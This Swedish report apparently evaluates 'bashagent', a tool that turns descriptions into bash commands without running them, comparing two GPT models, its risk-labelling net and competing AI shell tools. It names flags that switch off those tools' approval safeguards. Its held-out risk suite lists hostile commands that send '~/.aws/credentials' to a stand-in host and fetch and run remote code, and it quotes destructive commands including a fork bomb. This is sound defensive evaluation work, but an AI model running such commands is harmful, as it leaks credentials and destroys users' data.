bashagent: klartext till bash, utan att köra kommandot

Rebecka Vannerberg · bash/Linux · 19 oktober 2026

Verktyget tar en beskrivning på svenska och ger tillbaka tre saker: kommandot, en förklaring av vad delarna gör, och en riskmärkning. Kommandot skrivs ut och kan läggas i urklipp. Det körs inte.

Syfte

Att översätta en avsikt, till exempel ”hitta alla pdf:er större än 10 MB”, till rätt `find`-anrop kräver flaggor man sällan minns. En språkmodell klarar ofta den översättningen. Den är sämre på att veta när den har fel, och ett felaktigt `find … -delete` är dataförlust, inte ett syntaxfel.

`bashagent` lämnar därför kommandot till användaren. Två skäl bär den designen. Det första är att människan läser kommandot och förklaringen innan något händer: det finns ingen bekräftelsedialog att klicka bort, eftersom det enda sättet att köra är att själv klistra in och trycka Enter. Det andra är skaltillståndet. Ett program som kör `cd`, `export` eller `source` ändrar tillståndet i en subprocess som sedan dör. Användarens prompt står kvar. Genom att lämna över strängen till användarens eget skal fungerar de kommandona på samma sätt som `ls`.

Frågan mätningen ställer är om den lilla modellen räcker jämfört med den stora, på ett fast testset, när skillnaden bedöms mot en gräns som skrevs ner innan körningen. Urklipp är inte poängen med projektet. Den nischen är redan upptagen, vilket konkurrentanalysen tar upp sist.

Upplägg

Mätningen gjordes 19 oktober 2026. Fyrtio uppgifter, plattform GNU, temperatur 0. Modellerna är `gpt-4.1-mini` och `gpt-4.1`, samma leverantör, samma prompt och samma JSON-schema, så det som skiljer dem åt är storlek och pris. Hypoteserna skrevs samma dag, innan något mätanrop, och ligger i `eval/hypotheses.md`.

Testsetet är sammansatt så här:

Kategori	Antal	Jämförelse
Filsökning	8	Beteende, utdata
Textbearbetning och filtrering	7	Beteende, utdata
Katalog- och diskanalys	5	Beteende, utdata
Behörigheter och ägarskap	4	Beteende, filsystemstillstånd
Arkiv och komprimering	3	Beteende, filsystemstillstånd
Processer och system	4	Text mot facit
Git	3	Text mot facit
Nätverk	2	Text mot facit
Destruktiva kommandon	4	Text mot facit, körs aldrig

Tjugosju av de fyrtio mätta uppgifterna jämfördes på beteende, tretton mot en lista av accepterade varianter. Läsande uppgifter kördes i varsin Debian-container och utdata jämfördes. Destruktiva kommandon kördes inte, inte ens i containern. Övriga jämfördes som text mot facit. Ett likvärdigt kommando med annan stavning räknas därför som avvikelse i den ojusterade totalsiffran. JSONL-filerna i `rapport/results` är körningen på prompt 0.1.0. Prompt 0.2.0 är mätt på alla 54 uppgifter, i `rapport/results/prompt-0.2.0`.

Containern utgår från `debian:bookworm-slim` med coreutils, findutils, grep, gawk, sed, tar och gzip. Alpine valdes bort eftersom BusyBox har en tredje syntax. En container i taget, med `--memory=512m --pids-limit=256 --cpus=1 --network=none`. Fixturen ligger på containerns skrivbara lager, inte på tmpfs. Gränsen kommer av maskinen: 8 GB totalt, och Docker har ungefär 3 GB att röra sig med.

Riskmärkningen har tre nivåer. `safe` läser eller listar. `caution` skriver eller ändrar något som är lokalt och i huvudsak reversibelt. `destructive` är irreversibel förlust, systempåverkan eller körning av ohörd kod. Modellen sätter en nivå. Regelverket i `risk.py` kan höja den, aldrig sänka den. Ett falskt larm kostar en läsning. Ett missat `rm -rf` kostar data.

Facit skrevs innan modellerna kördes. Utkasten i repot är handskrivna. Fältet `authoring_model` är `none`, så de kommer inte från någon av de två modeller som mättes. Planen ville att utkasten skulle komma från en tredje modell. Det är inte vad som står i testsetet. Ett beteendefacit räknas som riktigt när det ger det avsedda utfallet i fixturen. Destruktiva uppgifter och variantuppgifter kördes inte, så de faciten vilar på att flaggorna är lästa, inte på en körning. Huvudsiffran gäller GNU/Linux. Ett BSD-delprov ingick i planen och kördes inte i den här mätningen.

Vid n = 40 är ett 95-procentigt Wilson-intervall kring 75 % ungefär ±13 procentenheter. En skillnad under ungefär 15 procentenheter är inte statistiskt säkerställd. Den gränsen skrevs in i planen innan resultatet fanns. I de README-filer och dokumentsidor som källistan tar upp finns ingen utvärdering att ställa resultatet mot. NL2Bash (omkring 9 000 par, tre granskare) och InterCode-Bash (200 uppgifter i fyra filsystem) är andra uppgiftsmängder och andra mätetal. Beteendejämförelsen, utdata plus filsystemsavtryck, är lånad från InterCode-Bash. Den sker i testriggen, aldrig i produkten.

Resultat

Mätt med prompt 0.1.0 på 40 uppgifter. Prompt 0.2.0 är mätt på alla 54 uppgifter, separat nedan.

	gpt-4.1-mini	gpt-4.1
Höll på det som jämfördes	35/40	33/40
Nya anrop	35	35
Från cache	5	5
Betalt den här körningen	0,012 USD	0,062 USD
Medianlatens	1226,4 ms	1341,1 ms

Tillsammans med rökkörningen ligger hela API-kostnaden runt 0,09 USD. Den lilla modellen kostade ungefär en femtedel av den stora.

Den ojusterade skillnaden är fem procentenheter, och den billiga modellen ligger före. Fem procentenheter ligger under gränsen på ungefär 15. McNemars exakta test på uppgifterna där modellerna skiljer sig åt ger p = 0,625. Den lilla var ensam rätt på tre uppgifter (`list-top-dirs`, `unpack-sample`, `truncate-notes`). Den stora var ensam rätt på en (`list-docs-files`). Skillnaden 35/40 mot 33/40 är inte statistiskt säkerställd. På det här testsetet räcker den billiga modellen, och det högre priset gav inte en högre totalsiffra.

Siffran är andelen uppgifter som höll på det som jämfördes. För de läsande uppgifterna är det utdata i containern. För övriga är det text mot facit. Ojusterat räknas annan stavning som avvikelse.

Kategori	gpt-4.1-mini	gpt-4.1
Filsökning	8/8	8/8
Textbearbetning	7/7	7/7
Katalog- och diskanalys	4/5	4/5
Behörigheter	4/4	4/4
Arkiv	3/3	2/3

Kategori	gpt-4.1-mini	gpt-4.1
Processer	2/4	2/4
Git	3/3	3/3
Nätverk	0/2	0/2
Destruktiv	4/4	3/4

Svårighet	gpt-4.1-mini	gpt-4.1
Enkel	25/29	24/29
Sammansatt	10/11	9/11

Den justerade siffran räknar de listade stavningarna som rätt, utöver det ojusterade resultatet. `gpt-4.1-mini` får 39/40. `gpt-4.1` får 37/40. Den stora skrev `ps -u $USER` på `ps-current-user`. Det är samma kommando som facit `ps -u "$USER"`, utan citattecken, och räknas rätt i den justerade siffran. `> notes.txt` och `mkdir unpacked` är inte accepterade varianter.

Risknätet kan bara höja en märkning. Precision 1 och recall 1 gäller sviten som reglerna justerades mot: 20 destruktiva kommandon och 7 som inte är det. En separat hållen svit lämnades orörd, och reglerna ska inte lagas för att klara den. Grundsanningen där är destructive. Nätet märker 0 av 9, så recall är 0. Alla nio är `safe` i dag: `unlink f`, `git branch -D x`, `git stash drop`, `git stash clear`, `kubectl delete ns prod`, `history -c`, `npm publish`, `scp ~/.aws/credentials x:` och `sh -c "$(wget -qO- x)"`. Ett regelbaserat nät täcker aldrig allt.

Prompt 0.2.0

Samma två modeller, temperatur 0, plattform GNU, alla 54 uppgifter. Destruktiva kommandon kördes inte. Siffran är samma fält som 35/40 och 33/40: kommandot och riskmärkningen höll båda. Ojusterat blev det 41/54 för `gpt-4.1-mini` och 40/54 för `gpt-4.1`. Betalt i den här körningen var 0,020865 USD och 0,105630 USD. Medianen av `latency_ms` var 1123,2 ms och 1059,8 ms. På de uppgifter där modellerna skiljde sig åt var det 6 mot 5, och McNemars exakta test ger p = 1. Skillnaden är inte statistiskt säkerställd.

Egen märkning och nätets märkning på de 18 destruktiva uppgifterna:

Uppgift	mini, egen	mini, nät	gpt-4.1, egen	gpt-4.1, nät
delete-tmp-recursive	destructive	destructive	destructive	destructive
truncate-notes	caution	destructive	destructive	destructive
git-clean-ignored	destructive	destructive	destructive	destructive
remove-tmp-dir	destructive	destructive	destructive	destructive
empty-draft-redirect	caution	destructive	destructive	destructive
truncate-access-log	caution	destructive	destructive	destructive
find-delete-logs	destructive	destructive	destructive	destructive
git-checkout-discard	destructive	destructive	destructive	destructive
git-restore-worktree	destructive	destructive	destructive	destructive
git-clean-untracked	destructive	destructive	destructive	destructive
rsync-mirror-delete	caution	caution	caution	caution
sed-rewrite-configs	caution	caution	caution	caution
chmod-lock-tree	caution	destructive	caution	destructive
git-overwrite-remote	destructive	destructive	destructive	destructive
clear-user-crontab	destructive	destructive	destructive	destructive

Uppgift	mini, egen	mini, nät	gpt-4.1, egen	gpt-4.1, nät
docker-free-disk	destructive	destructive	destructive	destructive
python-clear-workdir	destructive	destructive	destructive	destructive
find-exec-remove-bak	destructive	destructive	destructive	destructive

Felanalys

35/40 och 33/40 är fyrtio minus antalet ojusterade avvikelser. Den lilla har fem, den stora sju. Listorna nedan är hela den skillnaden. Inga andra avvikelser förekom i de mätta uppgifterna. Stavningarna ingår i de ojusterade talen. I den justerade siffran räknas de som rätt, även den stora modellens `ps -u $USER`.

gpt-4.1-mini, fem

list-docs-files, `blocked/risk`. Modellen skrev `ls -p docs | grep -v /`. Facit är `find docs -maxdepth 1 -type f`. Nätet i den mätta körningen höjde märkningen till `destructive` på snedstrecket, så kommandot kördes inte. Det är ett falskt larm. JSONL-filen är inte gjord om. Nätet i trädet klassar samma kommando som `caution`.

Fyra är samma kommando med annan stavning:

- **ps-current-user:** `ps -u $(whoami)` mot `ps -u "$USER"`
- **ps-pid-one:** `ps -p 1 -o cmd=` mot `ps -p 1 -o args=`
- **curl-save-original:** `wget https://example.com/file.txt` mot `curl -O https://example.com/file.txt`
- **curl-header-line:** `curl -s -D - https://example.com | head -n 1` mot `curl -sI https://example.com | head -n 1`. Textjämförelse. Kommandot kördes inte.

gpt-4.1, sju

list-top-dirs. Modellen skrev `find . -maxdepth 1 -type d`. Facit är `find . -mindepth 1 -maxdepth 1 -type d`. Containern räknade det som fel, för `.` kommer med.

unpack-sample, beteende mot filsystemstillstånd. Modellen skrev `mkdir unpacked && tar -xzf archives/sample.tar.gz -C unpacked`. Facit är `mkdir -p unpacked && tar -xzf archives/sample.tar.gz -C unpacked`. Riggen sa mismatch. Skillnaden i kommandot är `-p`. Orsaken till filsystemsskillnaden är inte diagnostiserad. Avvikelsen räknas i 33/40.

truncate-notes. Modellen skrev `> notes.txt`. Facit är `truncate -s 0 notes.txt`. Båda är `destructive`. Den lilla träffade `truncate`. Effekten är en tom fil. `> notes.txt` är inte en accepterad variant, så avvikelsen står kvar i både 33/40 och den justerade 37/40.

Samma två `ps` och samma två `curl` som hos den lilla: **ps-current-user**, **ps-pid-one**, **curl-save-original** och **curl-header-line**. Alla fyra räknas rätt i den justerade siffran. **ps-current-user** är `ps -u $USER`, samma kommando som facit utan citattecken.

Den lilla flaggade `truncate -s 0`, `find -delete`, `git clean` och `rm`. Det är kommandon som går runt en blocklista som bara letar efter `rm` och `dd`. Utfallet säger något om blocklistan, och det tas upp i konkurrentanalysen.

Jämförelse med hypoteserna

Hypoteserna skrevs innan något mätanrop. De som inte höll står kvar.

1. På enkla kommandon, ett verktyg och få villkor, är den lilla och den stora modellen ungefär lika träffsäkra. Det stämmer. Båda klarade i stort sett alla `find`-uppgifter.

2. På sammansatta kommandon, flera steg eller ett git-kommando där flaggan avgör om arbete förstörs, tappar den lilla och den stora klarar fler. Det höll inte, varken på totalsiffran eller på svårighetsuppdelningen. Ojusterat höll den lilla 10/11 sammansatta och 25/29 enkla. Den stora höll 9/11 sammansatta och 24/29 enkla. Den lilla ligger före på båda. Den enda sammansatta avvikelsen hos den lilla är stavningen av `curl-header-line`. Den stora har samma stavning och dessutom `unpack-sample`, där `mkdir` saknar `-p`. Den är inte en accepterad variant.
3. Totalskillnaden blir liten, under ungefär 15 procentenheter, vilket 40 uppgifter inte kan skilja från brus. Slutsatsen blir att den billiga modellen räcker. Det stämmer. Fem procentenheter, och den billiga var före.
4. Den lilla modellen missar farliga kommandon som inte ser farliga ut, som `find -delete` och `truncate`. Den stora flaggar fler. Det finns visst stöd i ett fall. På `truncate-notes` skrev den lilla `truncate -s 0` och märkte sitt kommando `caution`. Nätet höjde till `destructive`. Den stora skrev `> notes.txt` och märkte sitt kommando `destructive` själv. Fyra uppgifter är för lite evidens. Den lilla märkte också `find -delete`, `git clean` och `rm` som `destructive`.

På prompt 0.2.0 är samma hypotes prövad på alla 18 destruktiva uppgifter, utifrån modellernas egna märkningar. Den lilla satte `destructive` på 12 av 18, den stora på 15 av 18. Skillnaden är tre uppgifter: `truncate-notes`, `empty-draft-redirect` och `truncate-access-log`. Där märkte den lilla `caution` och den stora `destructive`. Nätet höjde den lilla. På `chmod-lock-tree` märkte båda `caution`, och nätet höjde båda till `destructive`. På `sed-rewrite-configs` märkte båda `caution`, och nätet lät märkningen stå. På `rsync-mirror-delete` skrev båda en kopia i stället för `rsync --delete`, märkte `caution`, och nätet lät det stå. Stödet är de tre truncate-fallen. Det gäller inte resten av de 18. 5. Båda modellerna föreslår ibland GNU-flaggor som inte finns på macOS. Den lilla gör det oftare. Det är inte mätt. Körningen tvingade GNU. 6. Priset räknas. Den lilla modellen är snabbare och billigare per anrop. Om träffsäkerheten är nära varandra rekommenderas den billiga. Prisdelen stämmer: den lilla kostade ungefär en femtedel. Medianen av `latency_ms` i resultatfilerna är 1226,4 ms för den lilla och 1341,1 ms för den stora. Den lilla är snabbare i den här körningen. Rekommendationen följer, eftersom träffsäkerheten ligger inom bruset och den billiga var före.

Konkurrentanalys

Marknaden har glidit från att föreslå ett kommando till att köra kommandon. GitHub Copilot CLI, Kiro CLI, Warp Agent CLI, Codex och Claude Code kör kommandon åt användaren. ShellGPT kan med `--shell` både föreslå och köra. aichat visar kommandot och kan köra det. Butterfish lägger ett kommando i skalet i agentläge.

GitHub meddelade att tillägget `gh-copilot`, alltså `gh copilot suggest`, slutar fungera den 25 oktober 2025, och pekade användarna till den nya Copilot CLI. Repot är arkiverat med samma datum. Fig stängde åtkomsten den 1 september 2024. Amazon Q Developer CLI blev Kiro CLI den 17 november 2025.

Urklipp är inte unikt. aichat har `copy` i menyn bredvid `execute`. yaak har `--copy`, som lägger kommandot i urklipp utan att köra det. Påståenden om verktygen `ask`, `qx` och `owo`, och om att `genie-cli` kopierar som standard och bara kör med `-r`, går inte att belägga här och är strukna.

Det som är ovanligt är kombinationen: att inte köra, en riskmärkning riktad till människan, och en egen mätning i den här rapporten. I de README-filer och dokumentsidor som källistan tar upp finns ingen redovisad mätning av träffsäkerhet i kommandogenerering.

Förvalen spelar roll. I aichat är förvalstangenten `e`, execute, så Enter kör kommandot. Menyn är `execute`, `revise`, `describe`, `copy`, `quit` (källan). ShellGPT:s README sätter `DEFAULT_EXECUTE_SHELL_CMD=false`. Kommentaren säger att `true` skulle göra tom inmatning till ja i `--shell` (README). Warp startar nya samtal med auto-approve av. När det är på kör agenten även kommandon på den egna denylistan, om man inte sätter `auto_approve_bypasses_command_denylist = false`. En denylista från adminpanelen kringgås inte (Warp). Copilots lokala sandbox slås på med `/`

`sandbox enable` (dokumentationen). Godkänner man `rm ./this-file.txt` för resten av sessionen får agenten köra vilket `rm` som helst, till exempel `rm -rf ./*` (Copilot). Codex har läget ”Dangerous full access” via `--dangerously-bypass-approvals-and-sandbox`, med alias `--yolo`, som hoppar över både sandbox och godkännanden (Codex). Kiro har `--trust-all-tools` för sessionen (Kiro). Python-grenen av Open Interpreter, som numera är community-forken, frågar innan kod körs och kan hoppa över frågan med `interpreter -y` eller `interpreter.auto_run = True`. Butterfish kör utan bekräftelse om kommandot börjar med `!!` (README). thefuck har `require_confirmation` satt till sant, och det stängs av med `THEFUCK_REQUIRE_CONFIRMATION` (const.py).

yaak känner igen `rm`, `rmdir`, `mkfs`, `dd`, `shred`, `wipefs`, `> /dev/`, `chmod 000` och fork-bomben `:() { :|:& };:`, även med `sudo`, `doas` och `pkexec`. Dokumentationen säger att ett träffat kommando ger en varning och en bekräftelsefråga. Listan namnger inte `find -delete` eller `truncate -s 0`. I mätningen flaggade den lilla modellen båda, tillsammans med `git clean` och `rm`. Den stora skrev `>` i stället för `truncate`, och det flaggades också. En stränglista och en märkning till människan fångar olika saker.

Invändningen att en sandbox kan vara säkrare

Invändningen är giltig där sandboxen är på. Codex använder Apple Seatbelt på macOS och bubblewrap på Linux. Claude Code använder Seatbelt på macOS och bubblewrap på Linux och WSL2. Copilot CLI kräver bubblewrap på Linux när den lokala sandboxen är påslagen. Nuvarande Open Interpreter skriver att kommandon körs i en inbyggd sandbox. När användaren klistrar in ett förslag från `bashagent` körs det med användarens vanliga rättigheter. Ett kommando i Seatbelt är mer inneslutet än ett inklistrat kommando, så länge sandboxen är på. Påståendet att Landlock är den nuvarande Linux-mekanismen i de här verktygen är struket. I Codex är Landlock ett äldre reservläge, och bubblewrap är förvalet (källkoden).

Svaret har tre led.

Bekräftelsen går att stänga av hos de andra. Copilot har `/yolo` och `--allow-all-tools` (kommandoreferensen, konfigurationen). Codex `--yolo` hoppar över inneslutning och godkännande. Warp kan startas med `--auto-approve`, och då kringgås den egna denylistan om inte inställningen säger annat. aichat kör på Enter. Kiro har `--trust-all-tools`. Python-grenen av Open Interpreter har `-y` och `auto_run`. Butterfish har `!!`. Ett verktyg utan exekveringsväg har ingen sådan flagga.

En sandbox skyddar inte filerna inuti arbetsytan. Codex läge `workspace-write` får läsa, ändra och köra kommandon i arbetskatalogen, och behöver godkännande för att gå utanför den (Codex). Det hindrar inte `find . -delete` i den katalog där filerna ligger. Sandboxen skyddar maskinen från kommandot. Förklaringen och riskmärkningen skyddar användaren från att missförstå kommandot.

För en disciplinerad read-only-användare ger verktyget ingen fördel. Codex kan köras med `--sandbox read-only` (Codex). Den som gör det och läser varje diff får ingen säkerhetsvinst av `bashagent`, bara en förklaring. De två ansatserna utesluter inte heller varandra: förslaget kan klistras in i ett skal som redan körs under `sandbox-exec`, som Codex själv använder på macOS (Codex).

Verktyget är smalare på andra sätt också. Det läser inte om ett fel och rättar sig, eftersom det aldrig kör. Det ser inte katalogen, bara prompten. Stjärnor på GitHub, hämtade 2026-10-19: shell-gpt 12 298, Open Interpreter 68 604, thefuck 97 914 och ai-shell 5 304. Ett helgprojekt har inte den mognaden. thefuck är en regelkatalog, `rules` i inställningsfilen, och frågar innan den kör (const.py).

Slutsatsen från mätningen på prompt 0.1.0 står kvar bredvid det här. Ojusterat höll den billiga 35/40 mot 33/40. McNemars exakta test ger p = 0,625, så skillnaden är inte statistiskt säkerställd. Den justerade siffran är 39/40 mot 37/40. Den billiga kostade ungefär en femtedel. För det här användningsfallet räcker `gpt-4.1-mini`. Prompt 0.2.0, på 54 uppgifter, gav 41/54 mot 40/54. Omkörningen visar att den lilla modellen själv underskattade alla tre truncate-fallen, och att det var nätet som rättade dem. Den billiga räcker, tillsammans med säkerhetsnätet.

Källor

- Upcoming deprecation of gh-copilot CLI extension (25 september 2025). Tillägget slutar fungera 25 oktober 2025.
- github/gh-copilot, arkiverat. Nedläggningen 25 oktober 2025.
- Fig is sunsetting. Åtkomsten slut 1 september 2024.
- Document history for Amazon Q Developer. ”Q CLI becomes Kiro CLI”, 17 november 2025.
- Kiro, migrating from Q CLI. Kiro CLI från 17 november 2025.
- Kiro CLI permissions, V3. `--trust-all-tools`.
- Using local sandboxing, GitHub Copilot. `/sandbox enable`, bubblewrap på Linux.
- Configuring GitHub Copilot CLI. Sessionsgodkännande av `rm`, `--allow-all-tools`.
- GitHub Copilot CLI command reference. `/yolo` och `/allow-all`.
- Agent approvals and security, Codex. `workspace-write`, `--yolo`, read-only, Seatbelt.
- Sandbox, Codex. bubblewrap på Linux.
- Codex Linux-sandbox. bubblewrap som förval, Landlock som äldre reservläge.
- Configure the sandboxed Bash tool, Claude Code. Seatbelt och bubblewrap.
- Warp permissions and profiles. auto-approve och denylistan.
- ShellGPT README. `DEFAULT_EXECUTE_SHELL_CMD=false`.
- aichat src/main.rs. execute som förval, `copy` i menyn.
- Butterfish README. `!!` kör utan bekräftelse.
- yaak documentation. `--copy` och listan över destruktiva mönster.
- openinterpreter/openinterpreter. Nuvarande verktyg, inbyggd sandbox. 68 604 stjärnor, hämtad 2026-10-19.
- endolith/open-interpreter. Python-grenen, `-y` och `auto_run`.
- thefuck const.py. `require_confirmation` och `rules`. 97 914 stjärnor på repot, hämtad 2026-10-19.
- TheR1D/shell_gpt. 12 298 stjärnor, hämtad 2026-10-19.
- BuilderIO/ai-shell. 5 304 stjärnor, hämtad 2026-10-19.